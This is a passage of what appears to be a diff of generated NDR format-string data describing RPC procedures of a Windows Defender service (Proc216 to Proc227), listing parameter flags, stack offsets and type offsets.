12322 */ NdrFcShort( 0xd7 ), /* 215 */ +/* 12324 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12326 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12328 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12330 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12332 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12334 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 12336 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 12338 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12340 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12342 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12344 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12346 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 12348 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12350 */ NdrFcShort( 0xf58 ), /* Type Offset=3928 */ + + /* Parameter arg_2 */ + +/* 12352 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12354 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12356 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12358 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12360 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12362 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc216_ServerMpRpcAccessibilityAsyncEvent */ + +/* 12364 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12366 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12370 */ NdrFcShort( 0xd8 ), /* 216 */ +/* 12372 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 12374 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12376 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12378 */ NdrFcShort( 0x20 ), /* 32 */ +/* 12380 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12382 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x6, /* 6 */ +/* 12384 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 12386 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12388 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12390 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12392 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12394 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12396 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12398 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 12400 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12402 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12404 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 12406 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12408 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12410 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 12412 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 12414 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12416 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_5 */ + +/* 12418 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12420 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12422 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12424 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12426 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 12428 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc217_ServerMpRpcCacheManagerIsTrusted */ + +/* 12430 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12432 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12436 */ NdrFcShort( 0xd9 ), /* 217 */ +/* 12438 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 12440 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12442 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12444 */ NdrFcShort( 0x28 ), /* 40 */ +/* 12446 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12448 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 12450 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 12452 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12454 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12456 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12458 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12460 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12462 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12464 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 12466 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12468 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12470 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 12472 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12474 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12476 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 12478 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12480 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12482 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12484 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12486 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12488 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc218_ServerMpRpcSCCGetState */ + +/* 12490 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12492 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12496 */ NdrFcShort( 0xda ), /* 218 */ +/* 12498 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12500 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12502 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12504 */ NdrFcShort( 0x8 ), /* 8 */ +/* 12506 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12508 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 12510 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 12512 */ NdrFcShort( 0x1 ), /* 1 */ +/* 12514 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12516 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12518 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12520 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12522 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12524 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 12526 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 12528 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12530 */ NdrFcShort( 0xfe6 ), /* Type Offset=4070 */ + + /* Parameter arg_3 */ + +/* 12532 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12534 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12536 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12538 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12540 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12542 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc219_ServerMpRpcSCCReset */ + +/* 12544 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12546 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12550 */ NdrFcShort( 0xdb ), /* 219 */ +/* 12552 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12554 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12556 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12558 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12560 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12562 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 12564 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 12566 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12568 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12570 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12572 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12574 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12576 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12578 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12580 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12582 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12584 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc220_ServerMpRpcImportConfigPayload */ + +/* 12586 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12588 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12592 */ NdrFcShort( 0xdc ), /* 220 */ +/* 12594 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 12596 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12598 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12600 */ NdrFcShort( 0x10 ), /* 16 */ +/* 12602 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12604 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0x6, /* 6 */ +/* 12606 */ 0xa, /* 10 */ + 0x7, /* Ext Flags: new corr desc, clt corr check, srv corr check, */ +/* 12608 */ NdrFcShort( 0x1 ), /* 1 */ +/* 12610 */ NdrFcShort( 0x1 ), /* 1 */ +/* 12612 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12614 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12616 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 12618 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12620 */ NdrFcShort( 0x1030 ), /* Type Offset=4144 */ + + /* Parameter arg_2 */ + +/* 12622 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12624 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12626 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 12628 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12630 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12632 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 12634 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 12636 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12638 */ NdrFcShort( 0x103c ), /* Type Offset=4156 */ + + /* Parameter arg_5 */ + +/* 12640 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12642 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12644 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12646 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12648 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 12650 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc221_ServerMpRpcGetConfigPayloadStatus */ + +/* 12652 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12654 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12658 */ NdrFcShort( 0xdd ), /* 221 */ +/* 12660 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 12662 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12664 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12666 */ NdrFcShort( 0x10 ), /* 16 */ +/* 12668 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12670 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 12672 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 12674 */ NdrFcShort( 0x1 ), /* 1 */ +/* 12676 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12678 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12680 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12682 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12684 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12686 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 12688 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12690 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12692 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 12694 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 12696 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12698 */ NdrFcShort( 0x103c ), /* Type Offset=4156 */ + + /* Parameter arg_4 */ + +/* 12700 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12702 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12704 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12706 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12708 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12710 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc222_ServerMpRpcGetConfigValue */ + +/* 12712 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12714 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12718 */ NdrFcShort( 0xde ), /* 222 */ +/* 12720 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 12722 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12724 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12726 */ NdrFcShort( 0x2a ), /* 42 */ +/* 12728 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12730 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x6, /* 6 */ +/* 12732 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 12734 */ NdrFcShort( 0x1 ), /* 1 */ +/* 12736 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12738 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12740 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12742 */ NdrFcShort( 0x148 ), /* Flags: in, base type, simple ref, */ +/* 12744 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12746 */ 0x5, /* FC_WCHAR */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 12748 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12750 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12752 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 12754 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12756 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12758 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 12760 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 12762 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12764 */ NdrFcShort( 0x10a8 ), /* Type Offset=4264 */ + + /* Parameter arg_5 */ + +/* 12766 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12768 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12770 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12772 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12774 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 12776 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc223_ServerMpRpcEffectiveConfigurationReport */ + +/* 12778 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12780 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12784 */ NdrFcShort( 0xdf ), /* 223 */ +/* 12786 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 12788 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12790 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12792 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12794 */ NdrFcShort( 0x40 ), /* 64 */ +/* 12796 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 12798 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 12800 */ NdrFcShort( 0x1 ), /* 1 */ +/* 12802 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12804 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12806 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12808 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 12810 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12812 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 12814 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 12816 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12818 */ NdrFcShort( 0x10f8 ), /* Type Offset=4344 */ + + /* Parameter arg_3 */ + +/* 12820 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12822 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12824 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 12826 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12828 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12830 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12832 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12834 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12836 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc224_ServerMpRpcGetDefenderStatusSummary */ + +/* 12838 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12840 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12844 */ NdrFcShort( 0xe0 ), /* 224 */ +/* 12846 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12848 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12850 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12852 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12854 */ NdrFcShort( 0x40 ), /* 64 */ +/* 12856 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 12858 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 12860 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12862 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12864 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12866 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12868 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12870 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12872 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 12874 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12876 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12878 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12880 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12882 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12884 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc225_ServerMpRpcGetHIPSCustomRuleInfo */ + +/* 12886 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12888 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12892 */ NdrFcShort( 0xe1 ), /* 225 */ +/* 12894 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12896 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12898 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12900 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12902 */ NdrFcShort( 0x40 ), /* 64 */ +/* 12904 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 12906 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 12908 */ NdrFcShort( 0x1 ), /* 1 */ +/* 12910 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12912 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12914 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12916 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12918 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12920 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 12922 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 12924 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12926 */ NdrFcShort( 0xa98 ), /* Type Offset=2712 */ + + /* Parameter arg_3 */ + +/* 12928 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12930 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12932 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12934 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12936 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12938 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc226_ServerMpRpcGetTrustAnchors */ + +/* 12940 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 12942 */ NdrFcLong( 0x0 ), /* 0 */ +/* 12946 */ NdrFcShort( 0xe2 ), /* 226 */ +/* 12948 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 12950 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12952 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 12954 */ NdrFcShort( 0x8 ), /* 8 */ +/* 12956 */ NdrFcShort( 0x24 ), /* 36 */ +/* 12958 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 12960 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 12962 */ NdrFcShort( 0x1 ), /* 1 */ +/* 12964 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12966 */ NdrFcShort( 0x0 ), /* 0 */ +/* 12968 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 12970 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 12972 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 12974 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_2 */ + +/* 12976 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 12978 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 12980 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 12982 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 12984 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 12986 */ NdrFcShort( 0x110c ), /* Type Offset=4364 */ + + /* Parameter arg_4 */ + +/* 12988 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 12990 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 12992 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 12994 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 12996 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 12998 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc227_ServerMpRpcDlpTriggerToast */ + +/* 13000 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 13002 */ NdrFcLong( 0x0 ), /* 0 */ +/* 13006 */ NdrFcShort( 0xe3 ), /* 227 */ +/* 13008 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 13010 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 13012 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 13014 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13016 */ NdrFcShort( 0x24 ), /* 36 */ +/* 13018 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 13020 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 13022 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13024 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13026 */ NdrFcShort( 0x0 ), /* 0 */ +/* 13028 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 13030 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 13032 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 13034 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 13036 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 13038 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 13040 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 13042 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 13044 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 13046 */ 0x8, /* FC_LONG */ + 0x0, /* 0 